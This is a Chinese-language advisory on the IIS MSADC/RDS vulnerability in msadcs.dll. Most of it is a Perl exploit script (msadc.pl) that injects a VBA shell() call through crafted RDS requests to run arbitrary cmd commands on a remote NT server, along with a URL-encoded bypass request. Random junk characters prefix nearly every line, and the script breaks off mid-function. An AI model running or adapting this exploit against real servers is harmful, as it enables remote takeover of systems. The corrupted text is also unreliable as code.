IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
nf4P2<L! XbC8t &Q], 涉及程序:
7|-xM>L$A Microsoft NT server
kTz x\rZoF.NQ 描述:
%\cC]<> 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
N:: ;J OK\%cq/U 详细:
arP+(1U 如果你没有时间读详细内容的话,就删除:
EVFfXv^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
mz*z1`\7v\ 有关的安全问题就没有了。
xgz87d/<: 4AYc8Z#' 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
pL@zZK0 hYn'uL^~[ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
kPH^X}O$ 关于利用ODBC远程漏洞的描述,请参看:
/aG>we wIF
":' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i =N\[& (J&Xo.<Z- 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
*fSM' q; http://www.microsoft.com/security/bulletins/MS99-025faq.asp +c a296^ pT@!O}'$ 这里不再论述。
u;Eu<jU1 dV{Hn {( 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
es[5B* 5 rfRo*u2" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
k8e"5 he 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
1gm/{w6O >iH).:j k6'# #将下面这段保存为txt文件,然后: "perl -x 文件名"
i\;&CzC: jF{gDK #!perl
id+m[']+ #
4AOS}@~W # MSADC/RDS 'usage' (aka exploit) script
Czr4
-#2 #
SU
O; # by rain.forest.puppy
:ECK
$Cu #
=9 M|o0aY # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"42$AaS # beta test and find errors!
; axaZV P}9Y8$Y>U use Socket; use Getopt::Std;
(4ci=*3= getopts("e:vd:h:XR", \%args);
tH,K\v`f o+-Ge
J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
C.eV|rc@T W(a'^
#xe if (!defined $args{h} && !defined $args{R}) {
[gkRXP[DGs print qq~
EO/cW<uV' Usage: msadc.pl -h <host> { -d <delay> -X -v }
9U9c"'g -h <host> = host you want to scan (ip or domain)
K-5"# -d <seconds> = delay between calls, default 1 second
V> a3V' -X = dump Index Server path table, if available
~|Ih
JzDt -v = verbose
IEoR7: -e = external dictionary file for step 5
3TiXYH k]$E8[.t Or a -R will resume a command session
!|<f%UO k[ffs} ~; exit;}
udEb/7ZL nhP~jJn $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_UBJPb@=U if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=!S@tuY if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
I6hhU;)C if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
p#;dLM/EA $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O5TK&j if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
4-M6C 5#. SEQO2`]e: if (!defined $args{R}){ $ret = &has_msadc;
ZU|V+yT die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"`jZ(+ +A'q#~yILa print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|P. = . "cmd /c ";
Xw*%3' $in=<STDIN>; chomp $in;
EAC(^+15K $command="cmd /c " . $in ;
9Nag%o{*S> +2V%'{: if (defined $args{R}) {&load; exit;}
b#Fk>j 9!O+Ryy?\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
hHfe6P
| &try_btcustmr;
'#McY'.D T f>s#Ngvc print "\nStep 2: Trying to make our own DSN...";
DV7<n&P &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<nOuyGIZ AF*ni~ print "\nStep 3: Trying known DSNs...";
m0BG9~p| &known_dsn;
[NCXn>Z nj~$%vmA print "\nStep 4: Trying known .mdbs...";
(:&&;]sI &known_mdb;
f
gK2.;> _o &, if (defined $args{e}){
V(lK`dY print "\nStep 5: Trying dictionary of DSN names...";
rSF;Lp)} &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
vy{rwZ$ c]%;^) print "Sorry Charley...maybe next time?\n";
dr,B\.|jC exit;
%S
>xSqX ]Efh(Gb] ##############################################################################
?;:9
W !~lVv&YO sub sendraw { # ripped and modded from whisker
F1?CqN M sleep($delay); # it's a DoS on the server! At least on mine...
12:h49AP my ($pstr)=@_;
AQnJxIL: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
R
(tiIo die("Socket problems\n");
-A~;MGY if(connect(S,pack "SnA4x8",2,80,$target)){
nu469 select(S); $|=1;
4DQ07w print $pstr; my @in=<S>;
a<57(Sf select(STDOUT); close(S);
K)Df}fVOc return @in;
a gmeiJT } else { die("Can't connect...\n"); }}
|MOn0* 8Z9MD<RLw ##############################################################################
@ 7Q*h
RR[)UQ sub make_header { # make the HTTP request
"xe7Dl my $msadc=<<EOT
S 0R8'Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
dxzvPgi? User-Agent: ACTIVEDATA
Ht`<XbQ> Host: $ip
rt5oRf:wY Content-Length: $clen
oTq%wi6 _ Connection: Keep-Alive
5}-)vsa` i#L6UKe:Q ADCClientVersion:01.06
]6a/0rg:t Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Z-4K?;g'k |uQn|"U4 --!ADM!ROX!YOUR!WORLD!
~=`f]IL Content-Type: application/x-varg
~&wXXVK3 Content-Length: $reqlen
U=haXx4N [5]R?bQ0q{ EOT
th.M.jas ; $msadc=~s/\n/\r\n/g;
cOzg/~\1 return $msadc;}
?Ia4H +L`V[; ##############################################################################
kbfuvJ>
~hS .\h sub make_req { # make the RDS request
+}Kk2Kg8 my ($switch, $p1, $p2)=@_;
O]e6i%? my $req=""; my $t1, $t2, $query, $dsn;
C!$Xv&"r $?H]S]#|}. if ($switch==1){ # this is the btcustmr.mdb query
pu\b`3C( $query="Select * from Customers where City=" . make_shell();
EsT0"{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2"T8^r|U $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
y,'FTP9? k)$iK2I elsif ($switch==2){ # this is general make table query
PRMZfYc $query="create table AZZ (B int, C varchar(10))";
Tx y]"_ $dsn="$p1";}
K&j'c P/FrE~ elsif ($switch==3){ # this is general exploit table query
f?2zLE>u $query="select * from AZZ where C=" . make_shell();
Nawp t% $dsn="$p1";}
^OHZ767v l9]o\JFXk elsif ($switch==4){ # attempt to hork file info from index server
X32RZ9y $query="select path from scope()";
5/Ydv
RB67 $dsn="Provider=MSIDXS;";}
FpP\-+Sl @; W<dJ<X elsif ($switch==5){ # bad query
0w^jls $query="select";
XZF%0g2$b $dsn="$p1";}
Zkw J.SuU -Bl/4p $t1= make_unicode($query);
V78Mq:7d $t2= make_unicode($dsn);
.?A'6 $req = "\x02\x00\x03\x00";
!?yxh/>lM $req.= "\x08\x00" . pack ("S1", length($t1));
DG_}9M!DW@ $req.= "\x00\x00" . $t1 ;
i:g{{Uuv $req.= "\x08\x00" . pack ("S1", length($t2));
cB{%u
' $req.= "\x00\x00" . $t2 ;
Y3D3.T6Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ymHKcQ return $req;}
$B<~0'6} k"t>He ##############################################################################
;F|jG}M" pMOD\J:l, sub make_shell { # this makes the shell() statement
O ,l\e3; return "'|shell(\"$command\")|'";}
X88F>1} )sqaR^ ##############################################################################
L+_8QK < bC6X?m= sub make_unicode { # quick little function to convert to unicode
<|otZJ'2r my ($in)=@_; my $out;
1U for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Pv#KmSA9 return $out;}
MdLj,1_T O)l%OOv ##############################################################################
S
9WawI V!mWn|lf sub rdo_success { # checks for RDO return success (this is kludge)
d"Bo8`_ my (@in) = @_; my $base=content_start(@in);
ACgt"
M.3F if($in[$base]=~/multipart\/mixed/){
#uB[&GG}W return 1 if( $in[$base+10]=~/^\x09\x00/ );}
JW-|<CJ return 0;}
H%FM fTTm$,f5N ##############################################################################
2mQOj$Lv vnDmFqelz sub make_dsn { # this makes a DSN for us
*jGPGnSo my @drives=("c","d","e","f");
r;9z5' print "\nMaking DSN: ";
{JTmP `&l foreach $drive (@drives) {
hRk,vB] print "$drive: ";
(Bsw/wv my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
B+|IZoR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}N@n{bu+ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
9g96 d- $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
n7@j}Q(&? return 0 if $2 eq "404"; # not found/doesn't exist
h:_NA if($2 eq "200") {
-gB{:UYi3 foreach $line (@results) {
;>5, return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
HXyFj } return 0;}
vpi l$Uq Y!F!@`%G ##############################################################################
H)\4=^ Gj)uyjct sub verify_exists {
{b[tA,
> my ($page)=@_;
f*v1J<1# my @results=sendraw("GET $page HTTP/1.0\n\n");
vABXXB return $results[0];}
$ND90my '\
XsTs#L ##############################################################################
=88t*dH(," .ByU sub try_btcustmr {
h>| g2h my @drives=("c","d","e","f");
QsM*wT&aa my @dirs=("winnt","winnt35","winnt351","win","windows");
vsc&Ju%k a/:]"`) foreach $dir (@dirs) {
9Eu #lV print "$dir -> "; # fun status so you can see progress
Hl/7(FJqc> foreach $drive (@drives) {
>r=6A
print "$drive: "; # ditto
MJA~jjy4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%/Bvy*X& $reqlenlen=length( "$reqlen" );
RvR:e| $clen= 206 + $reqlenlen + $reqlen;
a&N